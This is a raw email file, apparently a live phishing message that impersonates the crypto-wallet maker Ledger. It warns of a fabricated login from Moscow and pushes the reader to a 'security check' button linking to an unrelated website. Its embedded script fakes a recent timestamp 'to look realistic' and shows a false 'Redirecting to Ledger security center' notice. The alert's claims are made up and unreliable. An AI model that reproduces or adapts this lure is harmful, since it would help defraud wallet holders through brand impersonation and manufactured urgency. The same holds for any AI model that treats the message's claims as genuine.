File: /home/wbwebdes/imap/maghetoptafel.nl/info/Maildir/new/1774804700.M913878P453576.d8,S=22723,W=23228
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: from d8.my-control-panel.com
by d8.my-control-panel.com with LMTP
id udAnNtxeyWnI6wYAeIxEMQ
(envelope-from <[email protected]>)
for <[email protected]>; Sun, 29 Mar 2026 19:18:20 +0200
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Sun, 29 Mar 2026 19:18:20 +0200
Received: from server.blu-ice.co.uk ([77.68.100.110] helo=blu-ice.co.uk)
by d8.my-control-panel.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98)
(envelope-from <[email protected]>)
id 1w6tmG-00000001xJE-0svJ
for [email protected];
Sun, 29 Mar 2026 19:18:20 +0200
Received: from server.blu-ice.co.uk (localhost.localdomain [127.0.0.1])
by server.blu-ice.co.uk (Postfix) with ESMTP id 94502121EAA
for <[email protected]>; Sun, 29 Mar 2026 17:18:18 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=blu-ice.co.uk;
s=default; t=1774804698;
bh=moUF+6zL30J1HCC/Z744Hlsct3Fiu1XIO2lixqjLkP0=;
h=Received:Received:From:To:Subject;
b=GpEsFEcKjjUCTXbanmFG3VIMw06f8+9XlXivlcjtoN41No1aMkcS3fOL884GNkIee
qzB9GfA7rCnJxB3AdDVu+mJ5+I499tBG572yxCga2FnGArXkxAjHrvgqqqLDM7RKX2
7zZy2ml5wd1lA0k7ZpHQpKfduHcn8YxNib9nGgOI=
Authentication-Results: server.blu-ice.co.uk;
spf=pass (sender IP is 127.0.0.1) [email protected] smtp.helo=server.blu-ice.co.uk
Received-SPF: pass (server.blu-ice.co.uk: localhost is always allowed.) client-ip=127.0.0.1; [email protected]; helo=server.blu-ice.co.uk;
X-Spam-Flag: NO
X-Spam-Score: -0.597
X-Spam-Level:
X-Spam-Status: No, score=-0.597 tagged_above=-9999 required=3
tests=[ALL_TRUSTED=-1, BAYES_00=-1.9, DKIM_SIGNED=0.1,
DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1,
HTML_MESSAGE=0.001, SPF_PASS=-0.001, TVD_RCVD_IP=0.001,
TVD_RCVD_IP4=0.001, URIBL_BLOCKED=0.001, URIBL_DBL_SPAM=2.5]
autolearn=no autolearn_force=no
Authentication-Results: server.blu-ice.co.uk (amavisd-new);
dkim=pass (1024-bit key) header.d=blu-ice.co.uk
Received: from server.blu-ice.co.uk ([127.0.0.1])
by server.blu-ice.co.uk (server.blu-ice.co.uk [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id rpnaLpwTzqQ0 for <[email protected]>;
Sun, 29 Mar 2026 17:18:18 +0000 (UTC)
Received: from 118.70.252.221 (unknown [118.70.252.221])
by server.blu-ice.co.uk (Postfix) with ESMTPSA id D5386121C45
for <[email protected]>; Sun, 29 Mar 2026 17:18:16 +0000 (UTC)
Received-SPF: pass (server.blu-ice.co.uk: connection is authenticated)
Message-ID: <[email protected]>
From: Ledger Security Team <[email protected]>
To: [email protected]
Subject: =?utf-8?B?U3VzcGljaW91cyBsb2dpbiBkZXRlY3RlZCBmcm9tIFJ1c3NpYSDigJMg?=
=?utf-8?B?U2VjdXJlIHlvdXIgTGVkZ2VyIG5vdw==?=
Date: Sun, 29 Mar 2026 10:18:11 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="2b81efa4b97d53a88b20f9e217852c26d2"
--2b81efa4b97d53a88b20f9e217852c26d2
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
LEDGER=20
=E2=9A=A0=EF=B8=8F Security alert=20
Suspicious login attempt
We detected an unrecognized sign-in to your Ledger Live account from a ne=
w device and location. If this wasn't you, your wallet security may be at=
risk.
Location & Country
Moscow, Russian Federation =F0=9F=87=B7=F0=9F=87=BA High risk region=20
IP Address
185.246.84.172
Attempt Time (UTC)
2025-03-28 18:24:37 UTC
Unusual login from Russia =E2=80=A2 New device and location detected. Imm=
ediate security check required.
Go to security check now=C2=A0=20
Why did I receive this alert?=20
--2b81efa4b97d53a88b20f9e217852c26d2
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<html lang=3Den svg=3D"http://www.w3.org/2000/svg" http:=3D"www.w3.org=3D=
" XMLNS:=3D"default=3D"><head><title>Ledger | Suspicious Login Attempt De=
tected</title>
<meta charset=3D"utf-8">
<meta name=3Dviewport content=3D"width=3Ddevice-width, initial-scale=3D1.=
0, viewport-fit=3Dcover"><!-- Ledger style: modern, dark, clean --><link =
rel=3Dstylesheet href=3D"https://fonts.googleapis.com/css2?family=3DInter=
:opsz,[email protected],300;14..32,400;14..32,500;14..32,600;14..32,700;14..32,=
800&display=3Dswap">
<style>* {
BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-L=
EFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px
}
BODY {
FONT-FAMILY: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', san=
s-serif; BACKGROUND: #000000; PADDING-BOTTOM: 24px; PADDING-TOP: 24px; PA=
DDING-LEFT: 24px; DISPLAY: flex; PADDING-RIGHT: 24px; align-items: center=
; justify-content: center
}
.ledger-container {
OVERFLOW: hidden; MAX-WIDTH: 560px; BORDER-TOP: 1px solid; BORDER-RIGHT:=
1px solid; WIDTH: 100%; BACKGROUND: #0b0b0f; BORDER-BOTTOM: 1px solid; B=
ORDER-LEFT: 1px solid; border-radius: 32px; box-shadow: 0 25px 50px -12px=
rgba(0, 0, 0, 0.8); transition: transform 0.2s cubic-bezier(0.2, 0.9, 0.=
4, 1.1)
}
.ledger-header {
BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 16px; PADDING-TOP: 28px; PADDI=
NG-LEFT: 28px; DISPLAY: flex; PADDING-RIGHT: 28px; align-items: center; j=
ustify-content: space-between; gap: 12px; flex-wrap: wrap
}
.logo-area {
DISPLAY: flex; align-items: center; gap: 10px
}
.ledger-icon {
FONT-SIZE: 18px; HEIGHT: 32px; WIDTH: 32px; BACKGROUND: #1b4dff; FONT-WE=
IGHT: 800; COLOR: white; DISPLAY: flex; align-items: center; justify-cont=
ent: center; border-radius: 10px
}
.logo-text {
FONT-SIZE: 20px; BACKGROUND: none transparent scroll repeat 0% 0%; FONT-=
WEIGHT: 700; COLOR: transparent; LETTER-SPACING: 0px; background-clip: te=
xt; -webkit-background-clip: text
}
.badge-warning {
FONT-SIZE: 12px; BORDER-TOP: 0px solid; BORDER-RIGHT: 0px solid; BACKGRO=
UND: none transparent scroll repeat 0% 0%; BORDER-BOTTOM: 0px solid; FONT=
-WEIGHT: 500; COLOR: #ff8a6f; PADDING-BOTTOM: 6px; PADDING-TOP: 6px; PADD=
ING-LEFT: 12px; BORDER-LEFT: 0px solid; PADDING-RIGHT: 12px; border-radiu=
s: 40px
}
.alert-section {
PADDING-BOTTOM: 0px; PADDING-TOP: 8px; PADDING-LEFT: 28px; PADDING-RIGHT=
: 28px
}
.alert-icon-circle {
MARGIN-BOTTOM: 24px; BORDER-TOP: 1px solid; HEIGHT: 64px; BORDER-RIGHT: =
1px solid; WIDTH: 64px; BACKGROUND: none transparent scroll repeat 0% 0%;=
BORDER-BOTTOM: 1px solid; BORDER-LEFT: 1px solid; DISPLAY: flex; align-i=
tems: center; justify-content: center; border-radius: 32px
}
.alert-icon-circle svg {
HEIGHT: 34px; WIDTH: 34px
}
H1 {
FONT-SIZE: 28px; MARGIN-BOTTOM: 12px; FONT-WEIGHT: 700; COLOR: #ffffff; =
LETTER-SPACING: 0px; LINE-HEIGHT: 1.3
}
.description {
FONT-SIZE: 15px; MARGIN-BOTTOM: 28px; COLOR: #9ca3af; LINE-HEIGHT: 1.5
}
.details-card {
BORDER-TOP: 1px solid; BORDER-RIGHT: 1px solid; BACKGROUND: #08080c; BOR=
DER-BOTTOM: 1px solid; PADDING-BOTTOM: 20px; PADDING-TOP: 20px; PADDING-L=
EFT: 20px; BORDER-LEFT: 1px solid; MARGIN: 8px 0px 20px; PADDING-RIGHT: 2=
0px; border-radius: 24px
}
.detail-row {
BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 12px; PADDING-TOP: 12px; PADDI=
NG-LEFT: 0px; DISPLAY: flex; PADDING-RIGHT: 0px; align-items: flex-start;=
gap: 14px
}
.detail-row:unknown {
BORDER-BOTTOM: medium none
}
.detail-icon {
WIDTH: 36px; COLOR: #6b7280; flex-shrink: 0
}
.detail-icon svg {
HEIGHT: 20px; WIDTH: 20px
}
.detail-content {
flex: 1
}
.detail-label {
FONT-SIZE: 12px; MARGIN-BOTTOM: 4px; TEXT-TRANSFORM: uppercase; FONT-WEI=
GHT: 500; COLOR: #6b7280; LETTER-SPACING: 0px
}
.detail-value {
FONT-SIZE: 16px; FONT-WEIGHT: 600; COLOR: #f3f4f6; DISPLAY: flex; align-=
items: center; gap: 8px; flex-wrap: wrap
}
.country-badge {
FONT-SIZE: 12px; BACKGROUND: none transparent scroll repeat 0% 0%; FONT-=
WEIGHT: 500; COLOR: #ffa387; PADDING-BOTTOM: 4px; PADDING-TOP: 4px; PADDI=
NG-LEFT: 10px; PADDING-RIGHT: 10px; border-radius: 30px
}
.ip-address {
FONT-SIZE: 15px; FONT-FAMILY: monospace; LETTER-SPACING: 0px
}
.timestamp-detail {
FONT-SIZE: 14px; FONT-WEIGHT: 500
}
.risk-marker {
BACKGROUND: none transparent scroll repeat 0% 0%; PADDING-BOTTOM: 14px; =
PADDING-TOP: 14px; PADDING-LEFT: 16px; BORDER-LEFT: #ff5c5c 3px solid; MA=
RGIN: 24px 0px 8px; DISPLAY: flex; PADDING-RIGHT: 16px; align-items: cent=
er; border-radius: 12px; gap: 12px
}
.risk-marker svg {
flex-shrink: 0
}
.risk-text {
FONT-SIZE: 13px; FONT-WEIGHT: 500; COLOR: #ffb4a2; LINE-HEIGHT: 1.4
}
.action-area {
PADDING-BOTTOM: 32px; PADDING-TOP: 8px; PADDING-LEFT: 28px; PADDING-RIGH=
T: 28px
}
.btn-security {
FONT-SIZE: 16px; MARGIN-BOTTOM: 16px; CURSOR: pointer; TEXT-DECORATION: =
none; BORDER-TOP: medium none; FONT-FAMILY: inherit; BORDER-RIGHT: medium=
none; WIDTH: 100%; BACKGROUND: #1b4dff; BORDER-BOTTOM: medium none; FONT=
-WEIGHT: 600; COLOR: white; PADDING-BOTTOM: 16px; PADDING-TOP: 16px; PADD=
ING-LEFT: 24px; BORDER-LEFT: medium none; DISPLAY: inline-flex; PADDING-R=
IGHT: 24px; align-items: center; justify-content: center; border-radius: =
48px; box-shadow: 0 4px 14px rgba(27, 77, 255, 0.25); transition: all 0.2=
s ease; gap: 12px
}
.btn-security:hover {
BACKGROUND: #0e3ee0; box-shadow: 0 8px 20px rgba(27, 77, 255, 0.35); tra=
nsform: translateY(-1px)
}
.btn-security:active {
transform: translateY(1px)
}
.btn-secondary-outline {
FONT-SIZE: 14px; CURSOR: pointer; BORDER-TOP: 1px solid; FONT-FAMILY: in=
herit; BORDER-RIGHT: 1px solid; WIDTH: 100%; BACKGROUND: none transparent=
scroll repeat 0% 0%; BORDER-BOTTOM: 1px solid; FONT-WEIGHT: 500; COLOR: =
#d1d5db; PADDING-BOTTOM: 14px; PADDING-TOP: 14px; PADDING-LEFT: 24px; BOR=
DER-LEFT: 1px solid; DISPLAY: flex; PADDING-RIGHT: 24px; align-items: cen=
ter; justify-content: center; border-radius: 48px; transition: all 0.2s; =
gap: 10px
}
.btn-secondary-outline:hover {
BACKGROUND: none transparent scroll repeat 0% 0%; COLOR: white
}
.help-footer {
MARGIN-TOP: 20px
}
.help-footer A {
FONT-SIZE: 12px; TEXT-DECORATION: none; BORDER-BOTTOM: #3a3f4c 1px dashe=
d; COLOR: #6b7280
}
.help-footer A:hover {
COLOR: #9ca3af
}
.ledger-toast {
FONT-SIZE: 13px; MAX-WIDTH: 90%; FONT-FAMILY: 'Inter', sans-serif; BACKG=
ROUND: #14141c; WHITE-SPACE: normal; POSITION: fixed; FONT-WEIGHT: 500; C=
OLOR: #f0f3ff; PADDING-BOTTOM: 12px; PADDING-TOP: 12px; PADDING-LEFT: 24p=
x; LEFT: 50%; Z-INDEX: 10001; PADDING-RIGHT: 24px; BOTTOM: 28px; backdrop=
-filter: blur(12px); border-radius: 60px; box-shadow: 0 12px 28px rgba(0,=
0,0,0.4); transition: opacity 0.2s; transform: translateX(-50%); pointer-=
events: none
}
@media Unknown =20
{
.ledger-container {
border-radius: 28px
}
H1 {
FONT-SIZE: 24px
}
.alert-section {
PADDING-BOTTOM: 0px; PADDING-TOP: 8px; PADDING-LEFT: 20px; PADDING-RIGHT=
: 20px
}
.action-area {
PADDING-BOTTOM: 28px; PADDING-TOP: 8px; PADDING-LEFT: 20px; PADDING-RIGH=
T: 20px
}
.details-card {
PADDING-BOTTOM: 16px; PADDING-TOP: 16px; PADDING-LEFT: 16px; PADDING-RIG=
HT: 16px
}
}
</style>
<meta name=3DGENERATOR content=3D"-[OUTLOOK_VER]-"></head>
<body>
<div class=3Dledger-container><!-- Header with Ledger identity -->
<div class=3Dledger-header>
<div class=3Dlogo-area align=3Dcenter><span class=3Dlogo-text><img border=
=3D0 hspace=3D0 alt=3D"" src=3D"data:image/png;base64,iVBORw0KGgoAAAANSUh=
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
n/YvoVcrFTAAAAAElFTkSuQmCC" width=3D141 height=3D139></div>
<div class=3Dlogo-area>LEDGER</span> </div>
<div class=3Dbadge-warning><span>=E2=9A=A0=EF=B8=8F Security alert</span>=
</div></div>
<div class=3Dalert-section>
<h1>Suspicious login attempt</h1>
<div class=3Ddescription>We detected an unrecognized sign-in to your Ledg=
er Live account from a new device and location. If this wasn't you, your =
wallet security may be at risk. </div></div><!-- Details: IP, location, t=
imestamp (Russia) -->
<div style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 28px; =
PADDING-RIGHT: 28px">
<div class=3Ddetails-card>
<div class=3Ddetail-row>
<div class=3Ddetail-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-li=
necap=3Dround stroke-width=3D1.5 stroke=3DcurrentColor stroke-linejoin=3D=
round><path d=3D"M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"></path><=
circle r=3D3 cy=3D10 cx=3D12></circle></svg></div>
<div class=3Ddetail-content>
<div class=3Ddetail-label>Location & Country</div>
<div class=3Ddetail-value>Moscow, Russian Federation <span class=3Dcountr=
y-badge>=F0=9F=87=B7=F0=9F=87=BA High risk region</span> </div></div></di=
v>
<div class=3Ddetail-row>
<div class=3Ddetail-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-wi=
dth=3D1.5 stroke=3DcurrentColor><rect rx=3D2 height=3D12 width=3D20 y=3D6=
x=3D2></rect><path d=3D"M8 12h8"></path></svg></div>
<div class=3Ddetail-content>
<div class=3Ddetail-label>IP Address</div>
<div class=3D"detail-value ip-address">185.246.84.172</div></div></div>
<div class=3Ddetail-row>
<div class=3Ddetail-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-wi=
dth=3D1.5 stroke=3DcurrentColor><circle r=3D10 cy=3D12 cx=3D12></circle><=
polyline points=3D"12 6 12 12 16 14"></polyline></svg></div>
<div class=3Ddetail-content>
<div class=3Ddetail-label>Attempt Time (UTC)</div>
<div id=3DattemptTimestamp class=3D"detail-value timestamp-detail">2025-0=
3-28 18:24:37 UTC</div></div></div></div>
<div class=3Drisk-marker><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-wi=
dth=3D1.8 stroke=3D"#FF8A6F" height=3D20 width=3D20><path d=3D"M12 2L2 7l=
10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5"></path></svg>
<div class=3Drisk-text>Unusual login from Russia =E2=80=A2 New device and=
location detected. Immediate security check required. </div></div></div>=
<!-- CTA Button with direct href to the security check site -->
<div class=3Daction-area><a id=3DsecurityCtaButton class=3Dbtn-security h=
ref=3D"https://empowerherbreastcancer.org/" rel=3D"noopener noreferrer" t=
arget=3D_blank><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-width=3D2 st=
roke=3Dwhite height=3D20 width=3D20><path d=3D"M12 3L3 7.5 12 12l9-4.5L12=
3zM12 12v9M12 12l-4-2M12 12l4-2M18 12v4"></path><path d=3D"M21 12v4a2 2 =
0 0 1-2 2h-2"></path></svg>Go to security check now </a>=20
<div class=3Dhelp-footer><a id=3DhelpLink href=3D"#">Why did I receive th=
is alert?</a> </div></div></div>
<script>
// Set dynamic timestamp (suspicious attempt ~ 20 minutes ago to look=
realistic)
const attemptDate =3D new Date();
attemptDate.setMinutes(attemptDate.getMinutes() - 24);
attemptDate.setSeconds(0);
const formattedTimestamp =3D attemptDate.toISOString().replace('T', '=
').slice(0, 19) + ' UTC';
document.getElementById('attemptTimestamp').innerText =3D formattedTi=
mestamp;
// Helper: show toast notification (Ledger style)
function showToast(message, borderColor =3D '#FF5C5C') {
const existingToast =3D document.querySelector('.ledger-toast');
if (existingToast) existingToast.remove();
const toast =3D document.createElement('div');
toast.className =3D 'ledger-toast';
toast.style.border =3D `1px solid ${borderColor}40`;
toast.style.borderLeft =3D `4px solid ${borderColor}`;
toast.innerText =3D message;
document.body.appendChild(toast);
setTimeout(() =3D> {
toast.style.opacity =3D '0';
toast.style.transition =3D 'opacity 0.2s';
setTimeout(() =3D> toast.remove(), 250);
}, 3800);
}
// Handle "This was me" button (approve device)
const thisWasMeBtn =3D document.getElementById('thisWasMeButton');
thisWasMeBtn.addEventListener('click', (e) =3D> {
e.preventDefault();
showToast('=F0=9F=94=90 Device trusted =E2=80=A2 This location is=
now saved. Review security settings anytime.', '#3B82F6');
// Optional UI update
const badge =3D document.querySelector('.badge-warning');
if (badge) {
badge.innerHTML =3D '<span>=E2=9C=93 Device remembered</span>=
';
badge.style.background =3D 'rgba(0, 168, 107, 0.12)';
badge.style.color =3D '#6FCF97';
}
});
// Help link interaction
const helpLink =3D document.getElementById('helpLink');
helpLink.addEventListener('click', (e) =3D> {
e.preventDefault();
showToast('Ledger security: Suspicious logins appear when a new I=
P or country is used. If this wasn=E2=80=99t you, click the security chec=
k button immediately.', '#6B7280');
});
// Optional: add a confirmation when clicking the security button (ex=
ternal link)
const securityBtn =3D document.getElementById('securityCtaButton');
securityBtn.addEventListener('click', (e) =3D> {
// Just letting the link work normally, but we can show a brief n=
otification
// to inform user they are being redirected to security check.
// This doesn't block the href.
setTimeout(() =3D> {
showToast('=F0=9F=94=92 Redirecting to Ledger security center=
...', '#1B4DFF');
}, 10);
});
// Additional polish: set title and security context
console.log('Ledger security UI =E2=80=94 suspicious login from Russi=
a (185.246.84.172)');
</script>
</body></html>
--2b81efa4b97d53a88b20f9e217852c26d2--